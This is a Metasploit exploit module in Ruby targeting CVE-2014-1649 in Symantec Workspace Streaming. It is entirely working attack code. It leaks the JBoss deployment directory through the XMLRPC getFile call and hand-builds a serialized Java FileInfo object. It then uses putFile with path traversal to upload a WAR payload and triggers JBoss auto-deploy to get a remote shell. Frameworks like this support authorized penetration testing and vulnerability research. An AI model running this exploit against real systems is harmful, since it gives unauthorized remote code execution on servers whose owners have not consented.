modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include REXML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in Symantec Workspace Streaming. The
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
as_agent.exe service, which allows for uploading arbitrary files under the server root.
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
to achieve remote code execution. This module has been tested successfully on Symantec
Workspace Streaming 6.1 SP8 and Windows 2003 SP2, and reported to affect 7.5.0.x.
Abused services listen on a single-machine deployment and also in the backend role in
a multiple-machine deployment.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-1649'],
['OSVDB', '106923'],
['BID', '67189'],
['ZDI', '14-127'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
],
'Privileged' => true,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2014-05-12'))
register_options(
[
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse JBoss auto deploy)
])
end
def send_xml_rpc_request(xml)
res = send_request_cgi(
{
'uri' => normalize_uri("/", "xmlrpc"),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => xml
})
res
end
def build_soap_get_file(file_path)
xml = Document.new
xml.add_element(
"methodCall",
{
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
})
method_name = xml.root.add_element("methodName")
method_name.text = "ManagementAgentServer.getFile"
params = xml.root.add_element("params")
param_server_root = params.add_element("param")
value_server_root = param_server_root.add_element("value")
value_server_root.text = "*AWESE"
param_file_type = params.add_element("param")
value_file_type = param_file_type.add_element("value")
type_file_type = value_file_type.add_element("i4")
type_file_type.text = "0" # build path from the server root directory
param_file_name = params.add_element("param")
value_file_name = param_file_name.add_element("value")
value_file_name.text = file_path
param_file_binary = params.add_element("param")
value_file_binary = param_file_binary.add_element("value")
type_file_binary = value_file_binary.add_element("boolean")
type_file_binary.text = "0"
xml << XMLDecl.new("1.0", "UTF-8")
xml.to_s
end
def build_soap_put_file(file)
xml = Document.new
xml.add_element(
"methodCall",
{
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
})
method_name = xml.root.add_element("methodName")
method_name.text = "ManagementAgentServer.putFile"
params = xml.root.add_element("params")
param_server_root = params.add_element("param")
value_server_root = param_server_root.add_element("value")
value_server_root.text = "*AWESE"
param_file_type = params.add_element("param")
value_file_type = param_file_type.add_element("value")
type_file_type = value_file_type.add_element("i4")
type_file_type.text = "0" # build path from the server root directory
param_file = params.add_element("param")
value_file = param_file.add_element("value")
type_value_file = value_file.add_element("ex:serializable")
type_value_file.text = file
xml << XMLDecl.new("1.0", "UTF-8")
xml.to_s
end
def build_soap_check_put
xml = Document.new
xml.add_element(
"methodCall",
{
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
})
method_name = xml.root.add_element("methodName")
method_name.text = "ManagementAgentServer.putFile"
xml.root.add_element("params")
xml << XMLDecl.new("1.0", "UTF-8")
xml.to_s
end
def parse_method_response(xml)
doc = Document.new(xml)
file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable")
unless file.nil?
file = Rex::Text.decode_base64(file.text)
end
file
end
def get_file(path)
xml_call = build_soap_get_file(path)
file = nil
res = send_xml_rpc_request(xml_call)
if res && res.code == 200 && res.body
file = parse_method_response(res.body.to_s)
end
file
end
def put_file(file)
result = nil
xml_call = build_soap_put_file(file)
res = send_xml_rpc_request(xml_call)
if res && res.code == 200 && res.body
result = parse_method_response(res.body.to_s)
end
result
end
def upload_war(war_name, war, dst)
result = false
java_file = build_java_file_info("#{dst}#{war_name}", war)
java_file = Rex::Text.encode_base64(java_file)
res = put_file(java_file)
if res && res =~ /ReturnObject.*StatusMessage.*Boolean/
result = true
end
result
end
def jboss_deploy_path
path = nil
leak = get_file("bin/CreateDatabaseSchema.cmd")
if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/
path = $1
end
path
end
def check
check_result = Exploit::CheckCode::Safe
if jboss_deploy_path.nil?
xml = build_soap_check_put
res = send_xml_rpc_request(xml)
if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/
check_result = Exploit::CheckCode::Detected
end
else
check_result = Exploit::CheckCode::Appears
end
check_result
end
def exploit
print_status("Leaking the JBoss deployment directory...")
jboss_path =jboss_deploy_path
if jboss_path.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the JBoss deployment directory")
end
print_status("Building WAR payload...")
app_name = Rex::Text.rand_text_alpha(4 + rand(4))
war_name = "#{app_name}.war"
war = payload.encoded_war({ :app_name => app_name }).to_s
deploy_dir = "..#{jboss_path}"
print_status("Uploading WAR payload...")
res = upload_war(war_name, war, deploy_dir)
unless res
fail_with(Failure::Unknown, "#{peer} - Failed to upload the war payload")
end
register_files_for_cleanup("../server/appstream/deploy/#{war_name}")
10.times do
select(nil, nil, nil, 2)
# Now make a request to trigger the newly deployed war
print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi(
{
'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET',
'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end
def ste_port
datastore['STE_PORT']
end
# com.appstream.cm.general.FileInfo serialized object
def build_java_file_info(file_name, contents)
stream = "\xac\xed" # stream magic
stream << "\x00\x05" # stream version
stream << "\x73" # new Object
stream << "\x72" # TC_CLASSDESC
stream << ["com.appstream.cm.general.FileInfo".length].pack("n")
stream << "com.appstream.cm.general.FileInfo"
stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier
stream << "\x02" # flags SC_SERIALIZABLE
stream << [6].pack("n") # number of fields in the class
stream << "Z" # boolean
stream << ["bLastPage".length].pack("n")
stream << "bLastPage"
stream << "J" # long
stream << ["lFileSize".length].pack("n")
stream << "lFileSize"
stream << "[" # array
stream << ["baContent".length].pack("n")
stream << "baContent"
stream << "\x74" # TC_STRING
stream << ["[B".length].pack("n")
stream << "[B" # field's type (byte array)
stream << "L" # Object
stream << ["dTimeStamp".length].pack("n")
stream << "dTimeStamp"
stream << "\x74" # TC_STRING
stream << ["Ljava/util/Date;".length].pack("n")
stream << "Ljava/util/Date;" #field's type (Date)
stream << "L" # Object
stream << ["sContent".length].pack("n")
stream << "sContent"
stream << "\x74" # TC_STRING
stream << ["Ljava/lang/String;".length].pack("n")
stream << "Ljava/lang/String;" #field's type (String)
stream << "L" # Object
stream << ["sFileName".length].pack("n")
stream << "sFileName"
stream << "\x71" # TC_REFERENCE
stream << [0x007e0003].pack("N") # handle
stream << "\x78" # TC_ENDBLOCKDATA
stream << "\x70" # TC_NULL
# Values
stream << [1].pack("c") # bLastPage
stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize
stream << "\x75" # TC_ARRAY
stream << "\x72" # TC_CLASSDESC
stream << ["[B".length].pack("n")
stream << "[B" # byte array)
stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier
stream << "\x02" # flags SC_SERIALIZABLE
stream << [0].pack("n") # number of fields in the class
stream << "\x78" # TC_ENDBLOCKDATA
stream << "\x70" # TC_NULL
stream << [contents.length].pack("N")
stream << contents # baContent
stream << "\x70" # TC_NULL # dTimeStamp
stream << "\x70" # TC_NULL # sContent
stream << "\x74" # TC_STRING
stream << [file_name.length].pack("n")
stream << file_name # sFileName
stream
end
end